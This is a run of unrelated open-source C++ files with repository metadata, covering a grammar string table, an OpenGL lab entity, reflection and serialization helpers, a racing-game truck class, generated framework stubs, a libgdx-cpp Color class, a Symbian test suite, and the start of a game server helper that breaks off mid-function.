'\0' }; SCRIPT_CONST_STRING brRight[] = { ')', '\0' }; SCRIPT_CONST_STRING brMidLeft[] = { '[', '\0' }; SCRIPT_CONST_STRING brCloseer[] = { '*', '[', '\0' }; SCRIPT_CONST_STRING brMidRight[] = { ']', '\0' }; SCRIPT_CONST_STRING brBigLeft[] = { '{', '\0' }; SCRIPT_CONST_STRING brBigLeftOrNot[] = { '*', '{', '\0' }; SCRIPT_CONST_STRING brBigRight[] = { '}', '\0' }; SCRIPT_CONST_STRING doc[] = { 'd', 'o', 'c', '\0' }; SCRIPT_CONST_STRING _doc[] = { '_', 'd', 'o', 'c', '\0' }; SCRIPT_CONST_STRING rule[] = { 'R', 'u', 'l', 'e', '\0' }; SCRIPT_CONST_STRING ruleAnd[] = { 'R', 'u', 'l', 'e', 'A', 'n', 'd', '\0' }; SCRIPT_CONST_STRING ruleOr[] = { 'R', 'u', 'l', 'e', 'O', 'r', '\0' }; SCRIPT_CONST_STRING ruleHasOrNot[] = { 'R', 'u', 'l', 'e', 'H', 'a', 's', 'O', 'r', 'N', 'o', 't', '\0' }; SCRIPT_CONST_STRING ruleRepeat[] = { 'R', 'u', 'l', 'e', 'R', 'e', 'p', 'e', 'a', 't', '\0' }; SCRIPT_CONST_STRING ruleRepeatOrNot[] = { 'R', 'u', 'l', 'e', 'R', 'e', 'p', 'e', 'a', 't', 'O', 'r', 'N', 'o', 't', '\0' }; SCRIPT_CONST_STRING ruleCloseer[] = { 'R', 'u', 'l', 'e', 'C', 'l', 'o', 's', 'e', 'e', 'r', '\0' }; SCRIPT_CONST_STRING comment[] = { 'C', 'o', 'm', 'm', 'e', 'n', 't', '\0' }; SCRIPT_CONST_STRING aRule[] = { 'A', 'R', 'u', 'l', 'e', '\0' }; SCRIPT_CONST_STRING aRuleName[] = { 'A', 'R', 'u', 'l', 'e', 'N', 'a', 'm', 'e', '\0' }; SCRIPT_CONST_STRING ruleName[] = { 'R', 'u', 'l', 'e', 'N', 'a', 'm', 'e', '\0' }; SCRIPT_CONST_STRING ruleFactor[] = { 'R', 'u', 'l', 'e', 'F', 'a', 'c', 't', 'o', 'r', '\0' }; SCRIPT_CONST_STRING _ruleFactor[] = { '_', 'R', 'u', 'l', 'e', 'F', 'a', 'c', 't', 'o', 'r', '\0' }; SCRIPT_CONST_STRING matchRule[] = { 'M', 'a', 't', 'c', 'h', 'R', 'u', 'l', 'e', '\0' }; SCRIPT_CONST_STRING matchString[] = { 'M', 'a', 't', 'c', 'h', 'S', 't', 'r', 'i', 'n', 'g', '\0' }; SCRIPT_CONST_STRING varName[] = { 'V', 'a', 'r', 'N', 'a', 'm', 'e', '\0' }; SCRIPT_CONST_STRING incPath[] = { 'I', 'n', 'c', 'P', 'a', 't', 'h', '\0' }; SCRIPT_CONST_STRING include[] = { '#', 'i', 'n', 'c', 'l', 'u', 'd', 'e', '\0' }; // ------------------------------------------------------------------------- // $Log: script_in.h,v $ // Revision 1.2 2006/12/02 07:57:49 xushiwei // std::AutoFreeAlloc // // Revision 1.1 2006/12/02 06:44:18 xushiwei // Text Processing Library - Version 1.0 // #endif /* __TPL_V1_SCRIPT_IN_H__ */
[ "xushiweizh@86f14454-5125-0410-a45d-e989635d7e98" ]
[ [ [ 1, 736 ] ] ]
ac7c657641ea2a7a36cfbe2994c07a8642ea595f
41efaed82e413e06f31b65633ed12adce4b7abc2
/projects/lab2/src/MyRectangle.cpp
0f6e606bc145647ff013f0a85169ba0014c0448f
[]
no_license
ivandro/AVT---project
e0494f2e505f76494feb0272d1f41f5d8f117ac5
ef6fe6ebfe4d01e4eef704fb9f6a919c9cddd97f
refs/heads/master
2016-09-06T03:45:35.997569
2011-10-27T15:00:14
2011-10-27T15:00:14
2,642,435
0
2
null
2016-04-08T14:24:40
2011-10-25T09:47:13
C
UTF-8
C++
false
false
1,668
cpp
#include "MyRectangle.h" namespace lab2 { MyRectangle::MyRectangle(std::string id) : cg::Entity(id) { } MyRectangle::~MyRectangle() { } void MyRectangle::init() { cg::tWindowInfo win = cg::Manager::instance()->getApp()->getWindowInfo(); _position.set(win.width/2.0f, win.height/2.0f); _direction.set(1.0, 0.0); _velocity = 0.0; _acceleration = 100.0; _angle = 0.0; _angularVelocity = 100.0; } void MyRectangle::update(unsigned long elapsed_millis) { double elapsed_seconds = elapsed_millis / (double)1000; if(cg::KeyBuffer::instance()->isSpecialKeyDown(GLUT_KEY_DOWN)) { _velocity -= _acceleration * elapsed_seconds; } if(cg::KeyBuffer::instance()->isSpecialKeyDown(GLUT_KEY_UP)) { _velocity += _acceleration * elapsed_seconds; } if(cg::KeyBuffer::instance()->isSpecialKeyDown(GLUT_KEY_RIGHT)) { double delta = -_angularVelocity * elapsed_seconds; if(_velocity < 0 ) { delta *= -1; } _direction = rotateDeg(_direction, delta); _angle += delta; } if(cg::KeyBuffer::instance()->isSpecialKeyDown(GLUT_KEY_LEFT)) { double delta = _angularVelocity * elapsed_seconds; if(_velocity < 0 ) { delta *= -1; } _direction = rotateDeg(_direction, delta); _angle += delta; } _position += _direction * _velocity * elapsed_seconds; } void MyRectangle::draw() { glPushMatrix(); glTranslated(_position[0],_position[1],0); glRotated(_angle,0,0,1); glColor3f(0.8f,0.8f,0.2f); glRectf(-20.0f,-10.0f,15.0f,10.0f); glColor3f(0.5f,0.5f,0.2f); glRectf(15.0f,-10.0f,20.0f,10.0f); glPopMatrix(); } }
[ "Moreira@Moreira-PC.(none)" ]
[ [ [ 1, 55 ] ] ]
9a0330115ab196c5ce737868e8a8643ad12ee44b
6bdb3508ed5a220c0d11193df174d8c215eb1fce
/Codes/Halak.Toolkit/PropertyInfo.inl
dedb3197089ff93d0072987f65d34559a60a0139
[]
no_license
halak/halak-plusplus
d09ba78640c36c42c30343fb10572c37197cfa46
fea02a5ae52c09ff9da1a491059082a34191cd64
refs/heads/master
2020-07-14T09:57:49.519431
2011-07-09T14:48:07
2011-07-09T14:48:07
66,716,624
0
0
null
null
null
null
UTF-8
C++
false
false
6,066
inl
#include <Halak.Toolkit/AnyPtr.h> #include <Halak.Toolkit/DynamicCast.h> #include <Halak.Toolkit/TypeLibrary.h> namespace Halak { namespace Toolkit { PropertyInfo::Getter::Getter(const InstanceInfo& instanceInfo) : instanceInfo(instanceInfo) { } template <typename C, typename V> PropertyInfo::GetterTemplate<C, V>::GetterTemplate(V (C::*method)()) : Getter(InstanceInfo::From<V>()), method(reinterpret_cast<MethodType>(method)) { } template <typename C, typename V> PropertyInfo::GetterTemplate<C, V>::GetterTemplate(V (C::*method)() const) : Getter(InstanceInfo::From<V>()), method(reinterpret_cast<MethodType>(method)) { } template <typename C, typename V> PropertyInfo::GetterTemplate<C, V>::~GetterTemplate() { } template <typename C, typename V> Any PropertyInfo::GetterTemplate<C, V>::Call(const void* instance) const { return Any((reinterpret_cast<const C*>(instance)->*method)()); } //////////////////////////////////////////////////////////////////////////////////////////////////// PropertyInfo::Setter::Setter(const InstanceInfo& instanceInfo) : instanceInfo(instanceInfo) { } template <typename C, typename V> PropertyInfo::SetterTemplate<C, V>::SetterTemplate(void (C::*method)(V)) : Setter(InstanceInfo::From<V>()), method(reinterpret_cast<MethodType>(method)) { } template <typename C, typename V> PropertyInfo::SetterTemplate<C, V>::~SetterTemplate() { } template <typename C, typename V> void PropertyInfo::SetterTemplate<C, V>::Call(void* instance, const Any& value) const { return (reinterpret_cast<C*>(instance)->*method)(value.CastTo<StorageType>()); } //////////////////////////////////////////////////////////////////////////////////////////////////// template <typename C, typename G> PropertyInfo::PropertyInfo(uint id, const char* name, G (C::*getter)()) : id(id), name(name), class_(static_cast<const ClassInfo*>(TypeLibrary::GetInstance().Find<C>())), getter(new GetterTemplate<C, G>(getter)), setter(nullptr) { } template <typename C, typename G> PropertyInfo::PropertyInfo(uint id, const char* name, G (C::*getter)() const) : id(id), name(name), class_(static_cast<const ClassInfo*>(TypeLibrary::GetInstance().Find<C>())), getter(new GetterTemplate<C, G>(getter)), setter(nullptr) { } template <typename C, typename G, typename S> PropertyInfo::PropertyInfo(uint id, const char* name, G (C::*getter)(), void (C::*setter)(S)) : id(id), name(name), class_(static_cast<const ClassInfo*>(TypeLibrary::GetInstance().Find<C>())), getter(new GetterTemplate<C, G>(getter)), setter(new SetterTemplate<C, S>(setter)) { } template <typename C, typename G, typename S> PropertyInfo::PropertyInfo(uint id, const char* name, G (C::*getter)() const, void (C::*setter)(S)) : id(id), name(name), class_(static_cast<const ClassInfo*>(TypeLibrary::GetInstance().Find<C>())), getter(new GetterTemplate<C, G>(getter)), setter(new SetterTemplate<C, S>(setter)) { } uint PropertyInfo::GetID() const { return id; } const char* PropertyInfo::GetName() const { return name; } const ClassInfo* PropertyInfo::GetClass() const { return class_; } const InstanceInfo& PropertyInfo::GetGetterInfo() const { if (getter) return getter->instanceInfo; else return InstanceInfo::Empty; } const InstanceInfo& PropertyInfo::GetSetterInfo() const { if (setter) return setter->instanceInfo; else return InstanceInfo::Empty; } const PropertyInfo::AttributeCollection& PropertyInfo::GetAttributes() const { return attributes; } template <typename T> const T* PropertyInfo::FindAttribute() const { for (AttributeCollection::const_iterator it = attributes.begin(); it != attributes.end(); it++) { if (const T* result = dynamic_cast<const T*>(*it)) return result; } return nullptr; } template <typename V> V PropertyInfo::GetValue(const AnyPtr& instance) const { if (const void* castedInstance = instance.DynamicCastTo(class_)) return getter->Call(castedInstance).CastTo<V>(); else return V(); } template <typename V> void PropertyInfo::SetValue(const AnyPtr& instance, V value) const { if (void* castedInstance = instance.DynamicCastTo(class_)) setter->Call(castedInstance, Any(value)); } template <typename V, typename C> V PropertyInfo::GetValueFast(const C* instance) const { GetterTemplate<C, V>::MethodType m = static_cast<GetterTemplate<C, V>*>(getter)->method; return (instance->*m)(); } template <typename V, typename C> void PropertyInfo::SetValueFast(C* instance, V value) const { SetterTemplate<C, V>::MethodType m = static_cast<SetterTemplate<S, V>*>(setter)->method; (instance->*m)(value); } } }
[ [ [ 1, 168 ] ] ]
1f5fce2ea515116e03bc37f03a225b3ff23b92d8
ea6b169a24f3584978f159ec7f44184f9e84ead8
/source/reflect/MapProperty.cc
4c086cb6aea178b8254cf5ac6da18b9dc881ad2c
[]
no_license
sparecycles/reflect
e2051e5f91a7d72375dd7bfa2635cf1d285d8ef7
bec1b6e6521080ad4d932ee940073d054c8bf57f
refs/heads/master
2020-06-05T08:34:52.453196
2011-08-18T16:33:47
2011-08-18T16:33:47
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,213
cc
#include <reflect/MapProperty.h> #include <reflect/Class.hpp> #include <reflect/SerializationTag.h> #include <reflect/Reflector.h> #include <cstdio> DEFINE_REFLECTION(reflect::MapProperty, "reflect::MapProperty") { } namespace reflect { void MapProperty::Serialize(const void *in, void *out, Reflector &reflector) const { if(reflector.Serializing()) { struct MapReader { static void Callback(const Variant &key, void *opaque) { const MapReader *reader = static_cast<MapReader *>(opaque); reader->DoSerialization(key); } void DoSerialization(const Variant &key) const { SerializationTag item_tag(0, SerializationTag::ItemTag); SerializationTag key_tag("key", SerializationTag::AttributeTag); mReflector.Check(mReflector.GetSerializer().Begin(item_tag)); mReflector.Check(mReflector.GetSerializer().Begin(key_tag)); key.Serialize(mReflector); mReflector.Check(mReflector.GetSerializer().End(key_tag)); Variant value; mReflector.Check(mProperty->ReadData(mObject, key, value)); value.Serialize(mReflector); mReflector.Check(mReflector.GetSerializer().End(item_tag)); } MapReader(const MapProperty *prop, const void *object, Reflector &reflector) : mProperty(prop) , mObject(object) , mReflector(reflector) {} const MapProperty *mProperty; const void *mObject; Reflector &mReflector; } mapReader(this, in, reflector); ForEachKey(in, MapReader::Callback, &mapReader); } else { SerializationTag item_tag; while(reflector.GetDeserializer().Begin(item_tag, SerializationTag::ItemTag)) { Variant key; key.Construct(KeyType()); SerializationTag key_tag; if(reflector.GetDeserializer().Begin(key_tag, SerializationTag::AttributeTag)) { key.Serialize(reflector); reflector.Check(reflector.GetDeserializer().End(key_tag)); Variant value; reflector.Check(value.Construct(ValueType())); reflector | value; reflector.Check(WriteData(out, key, value)); } else { reflector.Fail(); } reflector.Check(reflector.GetDeserializer().End(item_tag)); } } } }
[ [ [ 1, 85 ] ] ]
ca4bc652f34d8efe85901c53134bac019b74729c
20c74d83255427dd548def97f9a42112c1b9249a
/src/roadfighter/truck.cpp
a40ec2f7ef6c9d80922a3391fb4f38722053fef8
[]
no_license
jonyzp/roadfighter
70f5c7ff6b633243c4ac73085685595189617650
d02cbcdcfda1555df836379487953ae6206c0703
refs/heads/master
2016-08-10T15:39:09.671015
2011-05-05T12:00:34
2011-05-05T12:00:34
54,320,171
0
0
null
null
null
null
UTF-8
C++
false
false
511
cpp
#include "truck.h" Truck::Truck() { } Truck::Truck(char *name) :NonRivalCar(name) { addImage(ImageInfo("truck", ROADFIGHTER_IMAGES_DIR, "truck.bmp", 4, 32, 64)); myType = TRUCK_CAR; init(); setWidth(32); setHeight(64); setStretchedWidth(20); setStretchedHeight(64); initMe(); setSpeed(200); initImages(); } Truck::~Truck() { } void Truck::initMe() { active = yes; state = ALIVE; currentFrame = frames[CAR_ALIVE_FRAME]; } void Truck::bumpAction() { }
[ [ [ 1, 39 ] ] ]
aecae8f7e06e5d94f898e7d51dfb2c3f7a255a27
74e7667ad65cbdaa869c6e384fdd8dc7e94aca34
/MicroFrameworkPK_v4_1/BuildOutput/public/Release/Client/stubs/corlib_native_System_Random.cpp
0ca383ca036fd8f7440bebf0fa6f8765721bb904
[ "BSD-3-Clause", "OpenSSL", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
gezidan/NETMF-LPC
5093ab223eb9d7f42396344ea316cbe50a2f784b
db1880a03108db6c7f611e6de6dbc45ce9b9adce
refs/heads/master
2021-01-18T10:59:42.467549
2011-06-28T08:11:24
2011-06-28T08:11:24
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,220
cpp
//----------------------------------------------------------------------------- // // ** WARNING! ** // This file was generated automatically by a tool. // Re-running the tool will overwrite this file. // You should copy this file to a custom location // before adding any customization in the copy to // prevent loss of your changes when the tool is // re-run. // //----------------------------------------------------------------------------- #include "corlib_native.h" #include "corlib_native_System_Random.h" using namespace System; INT32 Random::Next( CLR_RT_HeapBlock* pMngObj, HRESULT &hr ) { INT32 retVal = 0; return retVal; } INT32 Random::Next( CLR_RT_HeapBlock* pMngObj, INT32 param0, HRESULT &hr ) { INT32 retVal = 0; return retVal; } double Random::NextDouble( CLR_RT_HeapBlock* pMngObj, HRESULT &hr ) { double retVal = 0; return retVal; } void Random::NextBytes( CLR_RT_HeapBlock* pMngObj, CLR_RT_TypedArray_UINT8 param0, HRESULT &hr ) { } void Random::_ctor( CLR_RT_HeapBlock* pMngObj, HRESULT &hr ) { } void Random::_ctor( CLR_RT_HeapBlock* pMngObj, INT32 param0, HRESULT &hr ) { }
[ [ [ 1, 48 ] ] ]
b28038bbd3f1261927ecb142ea9a97cbe627e6e8
5fb9b06a4bf002fc851502717a020362b7d9d042
/developertools/MapRenderer/include/Game.h
d0ab8f1db89b0579bf8b8fae7c1a1e41cea2af2d
[]
no_license
bravesoftdz/iris-svn
8f30b28773cf55ecf8951b982370854536d78870
c03438fcf59d9c788f6cb66b6cb9cf7235fbcbd4
refs/heads/master
2021-12-05T18:32:54.525624
2006-08-21T13:10:54
2006-08-21T13:10:54
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,255
h
// // File: Game.h // Created by: Alexander Oster - [email protected] // /***** * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * *****/ #ifndef _GAME_H_ #define _GAME_H_ #ifdef WIN32 #include <windows.h> #endif #include "SDL/SDL.h" #include "renderer/Renderer.h" #include "renderer/DynamicObjects.h" class Game { private: Renderer * renderer; bool m_paused; int cursor3d [3]; int cursorx, cursory; bool button_left; bool button_right; Uint32 drag_id; Uint16 drag_model; void GrabMousePosition(int x, int y); void MoveToMouse(); cDynamicObject * GrabDynamicObject(int x, int y); public: Game (); ~Game (); void LoadMuls(std::string mulpath); int Init(void); int DeInit(void); int RenderScene(void); int Handle(void); void Connect (void); void Disconnect (void); Renderer * GetRenderer(void); void SetPosition(int x, int y, int z); void OnKeyPress(SDL_keysym * key); void HandleMouseMotion(SDL_MouseMotionEvent * event); void HandleClick(int x, int y, unsigned int buttonstate, bool double_click); void HandleMouseDown(int x, int y, int button); void HandleMouseUp(int x, int y, int button); void HandleDrag(int x, int y); bool paused () { return m_paused; } void SetPause(bool pause) { m_paused = pause; } void Drag (Uint32 id, Uint16 model); void DragCancel (); void Walk (Uint8 direction); void Walk_Simple (Uint8 action); protected: }; extern Game pGame; #endif //_GAME_H_
[ "sience@a725d9c3-d2eb-0310-b856-fa980ef11a19" ]
[ [ [ 1, 88 ] ] ]
ba0f6be2813ae651e559de63b2f4ec8f0698bf1a
6d0c97a1620f395224a14f6a82c0933786f4a557
/src/gdx-cpp/graphics/Color.cpp
c6c4206b7a503e68b3d7aad4ea2e2ed3e8ebbf2b
[ "Apache-2.0" ]
permissive
henviso/libgdx-cpp
0c8010604577ff29ea15dc40cf1079c248812516
b4d2944cfbefca28314b228b89afcd94a6a15e0e
refs/heads/master
2021-01-18T12:25:38.826383
2011-09-19T18:11:24
2011-09-19T18:11:24
2,223,345
0
0
null
null
null
null
UTF-8
C++
false
false
5,051
cpp
/* Copyright 2011 Aevum Software aevum @ aevumlab.com Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. @author Victor Vicente de Carvalho [email protected] @author Ozires Bortolon de Faria [email protected] */ #include "Color.hpp" #include "gdx-cpp/utils/NumberUtils.hpp" using namespace gdx_cpp::graphics; const Color Color::WHITE = Color(1, 1, 1, 1); const Color Color::BLACK = Color(0, 0, 0, 1); const Color Color::RED = Color(1, 0, 0, 1); const Color Color::GREEN = Color(0, 1, 0, 1); const Color Color::BLUE = Color(0, 0, 1, 1); Color& Color::set (const Color& color) { this->r = color.r; this->g = color.g; this->b = color.b; this->a = color.a; clamp(); return *this; } Color& Color::mul (const Color& color) { this->r *= color.r; this->g *= color.g; this->b *= color.b; this->a *= color.a; clamp(); return *this; } Color& Color::mul (float value) { this->r *= value; this->g *= value; this->b *= value; this->a *= value; clamp(); return *this; } Color& Color::add (const Color& color) { this->r += color.r; this->g += color.g; this->b += color.b; this->a += color.a; clamp(); return *this; } Color& Color::sub (const Color& color) { this->r -= color.r; this->g -= color.g; this->b -= color.b; this->a -= color.a; clamp(); return *this; } void Color::clamp () { if (r < 0) r = 0; else if (r > 1) r = 1; if (g < 0) g = 0; else if (g > 1) g = 1; if (b < 0) b = 0; else if (b > 1) b = 1; if (a < 0) a = 0; else if (a > 1) a = 1; } void Color::set (float r,float g,float b,float a) { this->r = r; this->g = g; this->b = b; this->a = a; } bool Color::equals (const Color& o) { if (this == &o) return true; return o.a == a && o.b == b && o.g == g && o.r == r; } int Color::hashCode () { int result = (r != +0.0f ? gdx_cpp::utils::NumberUtils::floatToIntBits(r) : 0); result = 31 * result + (g != + 0.0f ? gdx_cpp::utils::NumberUtils::floatToIntBits(g) : 0); result = 31 * result + (b != + 0.0f ? gdx_cpp::utils::NumberUtils::floatToIntBits(b) : 0); result = 31 * result + (a != + 0.0f ? gdx_cpp::utils::NumberUtils::floatToIntBits(a) : 0); return result; } const std::string Color::toString () { //TODO: fix it return "FIXME";//;Integer.toHexString(toIntBits()); } float Color::toFloatBits (int r,int g,int b,int a) { int color = (a << 24) | (b << 16) | (g << 8) | r; float floatColor = gdx_cpp::utils::NumberUtils::intBitsToFloat(color & 0xfeffffff); return floatColor; } int Color::toIntBits (int r,int g,int b,int a) { return (a << 24) | (b << 16) | (g << 8) | r; } float Color::toFloatBits () const { int color = ((int)(255 * a) << 24) | ((int)(255 * b) << 16) | ((int)(255 * g) << 8) | ((int)(255 * r)); return gdx_cpp::utils::NumberUtils::intBitsToFloat(color & 0xfeffffff); } int Color::toIntBits () const { int color = ((int)(255 * a) << 24) | ((int)(255 * b) << 16) | ((int)(255 * g) << 8) | ((int)(255 * r)); return color; } float Color::toFloatBits (float r,float g,float b,float a) { int color = ((int)(255 * a) << 24) | ((int)(255 * b) << 16) | ((int)(255 * g) << 8) | ((int)(255 * r)); return gdx_cpp::utils::NumberUtils::intBitsToFloat(color & 0xfeffffff); } int Color::alpha (float alpha) { return (int)(alpha * 255.0f); } int Color::luminanceAlpha (float luminance,float alpha) { return ((int)(luminance * 255.0f) << 8) | (int)(alpha * 255); } int Color::rgb565 (float r,float g,float b) { return ((int)(r * 31) << 11) | ((int)(g * 63) << 5) | (int)(b * 31); } int Color::rgba4444 (float r,float g,float b,float a) { return ((int)(r * 15) << 12) | ((int)(g * 15) << 8) | ((int)(b * 15) << 4) | (int)(a * 15); } int Color::rgb888 (float r,float g,float b) { return ((int)(r * 255) << 16) | ((int)(g * 255) << 8) | (int)(b * 255); } int Color::rgba8888 (float r,float g,float b,float a) { return ((int)(r * 255) << 24) | ((int)(g * 255) << 16) | ((int)(b * 255) << 8) | (int)(a * 255); } Color::Color(float r, float g, float b, float a) : r(r) , g(g) , b(b) , a(a) { clamp(); } Color::Color(const Color& color) { set(color); }
[ [ [ 1, 186 ] ] ]
02a72366052772180b29e59b2e32904ef1f01fce
9ad9345e116ead00be7b3bd147a0f43144a2e402
/Query/Query/example-QueryAPI.cpp
41c1ff7cc1c3c485221773f094372b4e074efde6
[]
no_license
asankaf/scalable-data-mining-framework
e46999670a2317ee8d7814a4bd21f62d8f9f5c8f
811fddd97f52a203fdacd14c5753c3923d3a6498
refs/heads/master
2020-04-02T08:14:39.589079
2010-07-18T16:44:56
2010-07-18T16:44:56
33,870,353
0
0
null
null
null
null
UTF-8
C++
false
false
369
cpp
#include <iostream> #include <string> #include <exception> #include "Query.h" #include "Olap.h" using namespace std; void main() { try { Olap olap; Query* q=new Query("!id[1,2]&!id[1,2]"); cout<<"count:"<<olap.count(q)<<endl; delete q;//remove garbage } catch(exception& e) { cout<<e.what()<<endl; } system("pause"); }
[ "buddhi.1986@c7f6ba40-6498-11de-987a-95e5a5a5d5f1" ]
[ [ [ 1, 27 ] ] ]
1b5a6f4c63cb6744d709767688f67a4475928fed
478570cde911b8e8e39046de62d3b5966b850384
/apicompatanamdw/bcdrivers/mw/web/download_manager_api/src/CDownloadMgrUiLibRegistryTestCases.cpp
0e2a9fb6869b358abfe3ca1d789f8f9ff6ac8827
[]
no_license
SymbianSource/oss.FCL.sftools.ana.compatanamdw
a6a8abf9ef7ad71021d43b7f2b2076b504d4445e
1169475bbf82ebb763de36686d144336fcf9d93b
refs/heads/master
2020-12-24T12:29:44.646072
2010-11-11T14:03:20
2010-11-11T14:03:20
72,994,432
0
0
null
null
null
null
UTF-8
C++
false
false
5,035
cpp
/* * Copyright (c) 2006 Nokia Corporation and/or its subsidiary(-ies). * All rights reserved. * This component and the accompanying materials are made available * under the terms of "Eclipse Public License v1.0" * which accompanies this distribution, and is available * at the URL "http://www.eclipse.org/legal/epl-v10.html". * * Initial Contributors: * Nokia Corporation - initial contribution. * * Contributors: * * Description: * * */ // INCLUDE FILES #include <e32math.h> #include "DownloadMgrBCTest.h" // EXTERNAL DATA STRUCTURES // None // EXTERNAL FUNCTION PROTOTYPES // None // CONSTANTS // None // MACROS // None // LOCAL CONSTANTS AND MACROS // None // MODULE DATA STRUCTURES // None // LOCAL FUNCTION PROTOTYPES // None // FORWARD DECLARATIONS // None // ==================== LOCAL FUNCTIONS ======================================= // ============================ MEMBER FUNCTIONS =============================== /* ------------------------------------------------------------------------------- Class: CDownloadMgrBCTest Method: RegistryNewLTest Description: Test the CDownloadMgrUiLibRegistry NewL method. Parameters: TTestResult& aErrorDescription: out: Test result and on error case a short description of error Return Values: TInt: Always KErrNone to indicate that test was valid Errors/Exceptions: None Status: Proposal ------------------------------------------------------------------------------- */ TInt CDownloadMgrBCTest::RegistryNewLTest( TTestResult& aResult ) { /* Simple server connect */ _LIT( KDefinition ,"State"); _LIT( KData ,"Test the CDownloadMgrUiRegistry NewL method"); TestModuleIf().Printf( 0, KDefinition, KData ); CActiveScheduler* scheduler = new (ELeave) CActiveScheduler; CleanupStack::PushL( scheduler ); CActiveScheduler::Install( scheduler ); CDownloadMgrUiLibRegistry* registry = CDownloadMgrUiLibRegistry::NewL( iDownloadManager ); _LIT( KData2 ,"Finished"); TestModuleIf().Printf( 0, KDefinition, KData2 ); if( registry ) { _LIT( KDescription , "Test case passed" ); aResult.SetResult( KErrNone, KDescription ); delete registry; } else { _LIT( KDescription , "Test case failed" ); aResult.SetResult( KErrGeneral, KDescription ); } CleanupStack::PopAndDestroy(); // scheduler // Case was executed return KErrNone; } /* ------------------------------------------------------------------------------- Class: CDownloadMgrBCTest Method: RegistryRegisterUserInteractionsLTest Description: Test the CDownloadMgrUiLibRegistry RegisterUserInteractionsL method. Parameters: TTestResult& aErrorDescription: out: Test result and on error case a short description of error Return Values: TInt: Always KErrNone to indicate that test was valid Errors/Exceptions: None Status: Proposal ------------------------------------------------------------------------------- */ TInt CDownloadMgrBCTest::RegistryRegisterUserInteractionsLTest( TTestResult& aResult ) { /* Simple server connect */ _LIT( KDefinition ,"State"); _LIT( KData ,"Test the CDownloadMgrUiRegistry RegisterUserInteractionsL method"); TestModuleIf().Printf( 0, KDefinition, KData ); _LIT( KData2 ,"Finished"); TestModuleIf().Printf( 0, KDefinition, KData2 ); _LIT( KDescription , "Test case failed" ); aResult.SetResult( KErrGeneral, KDescription ); // Case was executed return KErrNone; } /* ------------------------------------------------------------------------------- Class: CDownloadMgrBCTest Method: RegistryRegisterDownloadsListLTest Description: Test the CDownloadMgrUiLibRegistry RegisterDownloadsListL method. Parameters: TTestResult& aErrorDescription: out: Test result and on error case a short description of error Return Values: TInt: Always KErrNone to indicate that test was valid Errors/Exceptions: None Status: Proposal ------------------------------------------------------------------------------- */ TInt CDownloadMgrBCTest::RegistryRegisterDownloadsListLTest( TTestResult& aResult ) { /* Simple server connect */ _LIT( KDefinition ,"State"); _LIT( KData ,"Test the CDownloadMgrUiRegistry RegisterDownloadsListL method"); TestModuleIf().Printf( 0, KDefinition, KData ); _LIT( KData2 ,"Finished"); TestModuleIf().Printf( 0, KDefinition, KData2 ); _LIT( KDescription , "Test case failed" ); aResult.SetResult( KErrGeneral, KDescription ); // Case was executed return KErrNone; } // ================= OTHER EXPORTED FUNCTIONS ================================= // End of File
[ "none@none" ]
[ [ [ 1, 184 ] ] ]
3cf19f7bcccd9c5e5458f01b3f16f042e95dedbc
205069c97095da8f15e45cede1525f384ba6efd2
/Casino/Code/Server/ServerModule/GameServer/GameServiceHelperContainer.cpp
830cdd7281dfe2aa12d2229872a139ad2c80edc0
[]
no_license
m0o0m/01technology
1a3a5a48a88bec57f6a2d2b5a54a3ce2508de5ea
5e04cbfa79b7e3cf6d07121273b3272f441c2a99
refs/heads/master
2021-01-17T22:12:26.467196
2010-01-05T06:39:11
2010-01-05T06:39:11
null
0
0
null
null
null
null
GB18030
C++
false
false
7,881
cpp
#include "stdafx.h" #include ".\gameservicehelpercontainer.h" #include "GameServerDlg.h" CGameServiceHelperContainer::CGameServiceHelperContainer(void) { m_pServiceLoaderDlg = NULL; m_nGameServiceHelperIndex = -1; m_pIEventService = NULL; memset(&m_GameServiceParameter, 0, sizeof(m_GameServiceParameter)); m_bRequstStart = FALSE; } CGameServiceHelperContainer::~CGameServiceHelperContainer(void) { } void CGameServiceHelperContainer::Init(CGameServerDlg* pServiceLoaderDlg, int nGameServiceHelperIndex, IEventService * pIEventService, TCHAR* szCenterServerAddr, TCHAR* szLoaderServerPass, WORD wServerID, WORD wGameNetPort, TCHAR *szGameNetAddr) { m_pServiceLoaderDlg = pServiceLoaderDlg; m_nGameServiceHelperIndex = nGameServiceHelperIndex; IUnknownEx * pIUnknownEx=(IUnknownEx *)pIEventService->QueryInterface(IID_IUnknownEx,VER_IUnknownEx); m_RequestSocket.SetEventService(pIUnknownEx); m_pIEventService = pIEventService; //加载参数 m_InitParamter.LoadInitParamter(); SetParam(szCenterServerAddr, szLoaderServerPass, wServerID, wGameNetPort,szGameNetAddr ); m_RequestSocket.SetParentContainer(this, &m_GameServiceParameter, &m_InitParamter); } void CGameServiceHelperContainer::SetParam(TCHAR* szCenterServerAddr, TCHAR* szLoaderServerPass, WORD wServerID, WORD wGameNetPort, TCHAR *szGameNetAddr) { _tcscpy(m_InitParamter.m_szCenterServerAddr, szCenterServerAddr); _tcscpy(m_InitParamter.m_szCenterServerAddr, szCenterServerAddr); m_InitParamter.m_wServerID = wServerID; m_InitParamter.m_wGameNetPort = wGameNetPort; _tcscpy(m_InitParamter.m_szGameNetAddr, szGameNetAddr); } BOOL CGameServiceHelperContainer::Start() { CWaitCursor wc; //CenterServer DWORD dwIP=inet_addr(m_InitParamter.m_szCenterServerAddr); if (dwIP==INADDR_NONE) { LPHOSTENT lpHost=gethostbyname(m_InitParamter.m_szCenterServerAddr); if (lpHost!=NULL) dwIP=((LPIN_ADDR)lpHost->h_addr)->s_addr; } if(!m_RequestSocket.Connect(dwIP, PORT_CENTER_SERVER)) 